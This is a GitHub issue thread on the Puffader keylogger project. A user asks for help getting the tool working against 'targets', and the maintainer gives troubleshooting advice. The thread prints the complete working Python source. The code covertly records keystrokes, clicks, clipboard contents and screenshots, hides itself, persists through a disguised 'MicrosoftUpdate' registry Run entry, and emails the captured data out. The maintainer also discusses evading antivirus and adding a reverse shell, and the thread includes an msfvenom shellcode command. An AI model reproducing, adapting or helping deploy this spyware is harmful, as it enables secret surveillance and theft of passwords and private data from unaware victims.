xp4xbox / Puffader

Python 2.7 is obsolete, please use https://github.com/xp4xbox/Python-Keylogger
MIT License
50 stars 27 forks source link

Meterpreter plug-in part #54

Closed kingexplosionMurder closed 5 years ago

kingexplosionMurder commented 6 years ago

OS [Windows 10]

After converting the puffader.py to .exe using setup.py , I found it in the dist folder. I generated the raw Shellcode on command prompt using

msfvenom.bat -f python -x86 -platform windows -p python/shell_bind_tcp

And then I got the payload size and in python and a long list of raw Shellcode, which I don’t know what to do with next. I’m currently stuck here.

And can the puffader.exe work without the meterpreter plug-in?

And I also can’t get the base64 Shellcode to generate or I don’t know how to

Also does it still send the logs to the email even after the attacker shuts down.

@xp4xbox

xp4xbox commented 6 years ago

Puffader will still work without meterpreter plugin.

xp4xbox commented 6 years ago

Wrong issue, ignore that reference. If you want help including the meterpreter plugin, just ask.

If the keylogger is running, then it will still send logs.

NOTE: On Github you can edit your messages.

kingexplosionMurder commented 6 years ago

Alright, Sorry I’m a bit new to this. So what is the use of the meterpreter plug in? And after following all of the instructions and creating the keylogger along with the meterpreter plug in, and I shut down my laptop, will I still receive the logs in the mail?

kingexplosionMurder commented 6 years ago

Also I generated the Shellcode using the commands you suggested in another issue, I copied it into the base64encoder .

So what I want to know is do I need to use setup.py to generate another exe file or do I encode it before generating the exe.

kingexplosionMurder commented 6 years ago

Also will the standalone puffader without meterpreter plug-in be detected by AV?

xp4xbox commented 6 years ago

The point of the meterpreter plugin is if you want to be able to open a reverse shell. It is optional. If you shut down your computer you will still receive logs. Once you edit the file with the meterpreter plugin code, you can then use the setup.py to generate it. Either way it should be undetectable.

kingexplosionMurder commented 6 years ago

Alright! More questions, can one exe file be used for multiple targets. If yes, will it be specified in the logs to show it is from a particular target?

xp4xbox commented 6 years ago

It can be used for multiple targets. If you look in the email subject, you will see the IP and computer name.

kingexplosionMurder commented 6 years ago

Okay , So the clipboard data and clicks along with the keystrokes will be in the email also, yeah?

kingexplosionMurder commented 6 years ago

Also what is the final size of the exe file? I’m getting about 12.9MB which is kinda much.

kingexplosionMurder commented 6 years ago

Also what is the other w9xpopen.exe file in the dist folder ?

xp4xbox commented 6 years ago

If you enable clipboard logging and clicks it will. Unfortunately there is nothing I can do about the file size since this is python which requires the interpreter and all modules to be bundled with it. Ignore the w9xpopen.exe, you can delete it.

kingexplosionMurder commented 6 years ago

Okay great Another thing, Will the keylogger still work when turned on if the target shuts down or restarts.

xp4xbox commented 6 years ago

If you have the option add to startup set to true it will.

kingexplosionMurder commented 6 years ago

Alright! So I just tried it out and the keystrokes were sent in , but no clipboard data or screenshots . No clicks also, what format will the mouse clicks come as?

xp4xbox commented 6 years ago

They come as txt format, you can show me your setup lines to make sure that you enabled all the options correctly?

kingexplosionMurder commented 6 years ago
import smtplib, time, os, threading, sys, subprocess, pythoncom, pyHook, pyscreeze
import win32console, win32gui, win32event, win32api, winerror, win32clipboard
from sys import exit; from urllib2 import urlopen; from shutil import copyfile
from email.MIMEMultipart import MIMEMultipart; from email.MIMEImage import MIMEImage; from _winreg import *
from pyHook import GetKeyState, HookConstants

strEmailAc = "xxxx@gmail.com"
strEmailPass = "xxxxx"

intCharPerSend = 1000  # set num of chars before send log/store

blnUseTime = "True"  # if you prefer to use a timer to send/save logs, set this to True
intTimePerSend = 120  # set how often to send/save logs in seconds

blnStoreLocal = "False"  # True to save logs/screens locally
strLogFile = ""  # set non-protected path to text file eg. c:/temp/test.txt

blnScrShot = "True"  # set to True for capturing screenshots
strScrDir = ""  # set non-protected dir for scrshot location if storing locally. eg c:/temp
intScrTime = 120  # set time for taking screen in seconds

blnLogClick = "True"  # for logging window clicks
blnAddToStartup = "True"

blnLogClipboard = "True"
blnMelt = "True"

# variables/constants
TMP = os.environ["TEMP"]
APPDATA = os.environ["APPDATA"]
cPuffDir = TMP + "/microsoft_data_dir"
strLogPath = cPuffDir + "/microsoft_log.txt"
blnFirstSend = "True"
intLogChars = 0

def hide():
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window, 0)
    return True
# hide window as new thread. Necessary in order to define timer used later
objTimer = threading.Timer(0, hide); objTimer.start()

# function to prevent multiple instances
mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    exit()

def GetExIp():  # function to get external ip
    global strExIP
    try:
        strExIP = urlopen("http://ident.me").read().decode('utf8')
    except:
        strExIP = "?"
# obj defined for later use for screenshot timer
objTimer2 = threading.Timer(0, GetExIp); objTimer2.start()

def melt():
    strNewFile = TMP + "\\" + os.path.basename(sys.argv[0])
    if not os.getcwd() == TMP:  # if the current dir is not temp
        subprocess.Popen("ping 1.1.1.1 -n 1 & move /y " + os.path.realpath(sys.argv[0]) + " " +  # move file to TMP and then relaunch
                         strNewFile + " & cd  /d " + TMP + " & " + strNewFile , shell=True)
        exit(0)

if blnMelt == "True":
    melt()

def AddToStartup():
    try:
        strPath = os.path.realpath(sys.argv[0])
        strAppPath = APPDATA + "\\" + os.path.basename(strPath)
        copyfile(strPath, strAppPath)

        objRegKey = OpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS)
        SetValueEx(objRegKey, "MicrosoftUpdate", 0, REG_SZ, strAppPath); CloseKey(objRegKey)
    except:  # if the program is already added to startup
        pass

if blnAddToStartup == "True":
    AddToStartup()

def MonitorClipboard():  # Function to get clipboard data
    global strLogs

    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    strClipDataOld = ""

    while True:
        try:
            win32clipboard.OpenClipboard()  # open clipboard
            strClipData = win32clipboard.GetClipboardData()  # get data
            win32clipboard.CloseClipboard()
        except:  # if the contents are not supported
            strClipData = ""

        if strClipData != strClipDataOld and strClipData != "":
            strLogs += "\n" + "\n" + "* * * * * * Clipboard * * * * * *" + "\n" + strClipData + "\n" + \
                       "* * * * * * Clipboard * * * * * *" + "\n" + "\n"
            strClipDataOld = strClipData
        time.sleep(3)  # check every 3 seconds

if blnLogClipboard == "True":  # if the user wants to capture clipboard data
    ClipboardThread = threading.Thread(target=MonitorClipboard)
    ClipboardThread.daemon = True
    ClipboardThread.start()

def OnKeyboardEvent(event):
    global strLogs, objTimer, intLogChars, objTimer2
    try:  # check to see if variable is defined
        strLogs
    except NameError:
        strLogs = ""

    def SendMessages(strLogs, strEmailAc, strEmailPass, strExIP):
        global blnFirstSend  # easier to just define this variable to be global within the functions
        try:
            if blnFirstSend == "True":
                strMessage = "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n"
                blnFirstSend = "False"
            else: strMessage = ""

            if os.path.isfile(strLogPath):  # if there are old logs that need to be sent, add them to message
                objFile = open(strLogPath, "r")
                strOldLogs = objFile.read()
                objFile.close()

                strMessage += strOldLogs + strLogs
                os.remove(strLogPath)  # delete old log file
            else:
                strMessage += strLogs

            strEmail = "Subject: {}\n\n{}".format("New Keylogger Logs From " + strExIP, strMessage)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            SmtpServer.ehlo()   # identifies you to the smtp server
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, strEmail)
            SmtpServer.close()
        except:  # if the logs cannot be sent, save them to txt file to try again later
            if not os.path.isdir(cPuffDir):  # if the screen dir doesnt exist, create it
                os.makedirs(cPuffDir)
                subprocess.Popen(["attrib", "+H", cPuffDir])  # make folder hidden

            if not os.path.isfile(strLogPath):
                objFile = open(strLogPath, "w")
            else:
                objFile = open(strLogPath, "a")

            objFile.write(strMessage)
            objFile.close()

    def StoreMessagesLocal(strLogs):
        global blnFirstSend
        # log keys locally
        if os.path.isfile(strLogFile):
            objLogFile = open(strLogFile, 'a')
        else:
            objLogFile = open(strLogFile, 'w')
        if blnFirstSend == "True":
            objLogFile.write("\n" + "Keylogger Started At: " + time.strftime("%d/%m/%Y") + " " + time.strftime("%I:%M:%S") + "\n\n")
            blnFirstSend = "False"
        objLogFile.write(strLogs)
        objLogFile.close()

    def CreateNewThreadMessages():  # function for creating thread for sending messages
        if not strLogs == "":
            if blnStoreLocal == "True":
                StoreLogThread = threading.Thread(target=StoreMessagesLocal, args=[strLogs])
                StoreLogThread.daemon = True
                StoreLogThread.start()
            else:
                SendMailThread = threading.Thread(target=SendMessages, args=([strLogs, strEmailAc, strEmailPass, strExIP]))
                SendMailThread.daemon = True
                SendMailThread.start()

    def SendScreen():  # function to send screens (easier to do this as a new function)
        try:
            objMsg = MIMEMultipart()
            objMsg["Subject"] = "New Screenshot From " + strExIP

            for strScrPath in os.listdir(cPuffDir):  # add files to the message
                strScrFullPath = cPuffDir + "/" + strScrPath
                img = MIMEImage(file(strScrFullPath, "rb").read())
                img.add_header('Content-Disposition', 'attachment', filename=strScrPath)
                objMsg.attach(img)

            SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
            SmtpServer.login(strEmailAc, strEmailPass)
            SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
            SmtpServer.close()
        except:  # if the screen cannot send, pass and try again later
            pass
        else:
            for strScrPath in os.listdir(cPuffDir):
                os.remove(cPuffDir + "/" + strScrPath)  # if the screenshot(s) sent successfully, remove them

    def TakeScr():  # function to take screenshot
        if blnStoreLocal == "True":
            threading.Thread(pyscreeze.screenshot().save(time.strftime(strScrDir + "/%Y%m%d%H%M%S" + ".png"))).start()
        else:
            if not os.path.isdir(cPuffDir):  # if the screen dir doesnt exist, create it
                os.makedirs(cPuffDir)
                subprocess.Popen(["attrib", "+H", cPuffDir])  # make folder hidden

            strScrPath = time.strftime(cPuffDir + "/%Y%m%d%H%M%S" + ".png")  # save screenshot with datetime format
            threading.Thread(pyscreeze.screenshot().save(strScrPath)).start()
            SendScreenThread = threading.Thread(target=SendScreen)
            SendScreenThread.daemon = True
            SendScreenThread.start()

    # ctrl Lshift, rshift, h to stop program
    if GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) and GetKeyState(HookConstants.VKeyToID("VK_RSHIFT")) and \
            GetKeyState(HookConstants.VKeyToID("VK_LSHIFT")) and HookConstants.IDToName(event.KeyID) == "H":
        exit(0)

    if event.Ascii == 8:
        strLogs = strLogs + " [Bck] "
    elif event.Ascii == 9:
        strLogs = strLogs + " [Tab] "
    elif event.Ascii == 13:
        strLogs = strLogs + "\n"
    elif event.Ascii == 0:  # if the key is a special key such as alt, win, etc. Pass
        pass
    else:
        intLogChars += 1
        strLogs = strLogs + chr(event.Ascii)

    if blnUseTime == "True":  # if the user is sending messages by timer
        if not objTimer.is_alive():  # check to see if the timer is not active
            objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages)
            objTimer.daemon = True
            objTimer.start()
            strLogs = ""; intLogChars = 0
    else:
        if intLogChars >= intCharPerSend:  # send/save message if log is certain length
            CreateNewThreadMessages()
            strLogs = ""; intLogChars = 0

    if blnScrShot == "True":  # if the user is capturing screenshots
        if not objTimer2.is_alive():
            objTimer2 = threading.Timer(intScrTime, TakeScr)
            objTimer2.daemon = True
            objTimer2.start()

    return True  # return True to pass key to windows

def OnMouseEvent(event):  # when the mouse is clicked
    global strLogs
    try:
        strLogs
    except NameError:
        strLogs = ""

    if not str(event.WindowName) == "None":  # log window name and time
        strLogs = strLogs + "\n" + "["+time.ctime().split(" ")[3] + "] " + event.WindowName + "\n" + "====================" + "\n"
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
if blnLogClick == "True":
    hooks_manager.MouseLeftDown = OnMouseEvent
    hooks_manager.HookMouse()
pythoncom.PumpMessages()

thats basically all i did, i edited the first few lines and added the email and password, also chose email over storing locally, excluded the meterpreter plug in also.

kingexplosionMurder commented 6 years ago

Also the target used the computer on the internet and still no keystrokes received, checked the task manager and puffader is still running. But I haven’t received any keystrokes.

kingexplosionMurder commented 6 years ago

Or could it be due to having multiple exe with the same email address and password to all of them?

xp4xbox commented 6 years ago

It should work. Did you make sure to install all modules.

Try changing the melt to false, that might be the problem.

kingexplosionMurder commented 6 years ago

All the modules were installed correctly, using cmd though.

So melt to false it is. But the exe won’t disappear on execution if set to false, right?

xp4xbox commented 6 years ago

Yeah. Actually I think the problem isn't that, it might be because you are using a timer, try setting it to false.

kingexplosionMurder commented 6 years ago

Alright , so if I set the timer to false it will send when the characters hit 1000 right?

xp4xbox commented 6 years ago

Yeah.

kingexplosionMurder commented 6 years ago

I’ll get back to you after I test it out.

xp4xbox commented 6 years ago

Any update on this.

Nisthar commented 6 years ago

@xp4xbox Its not sending me emails. Is it still working? I can still see logs and screenshots in my temp folder

Anyway, great work with this repo.

Nisthar commented 6 years ago

@xp4xbox Ok, my bad, i set the save to local option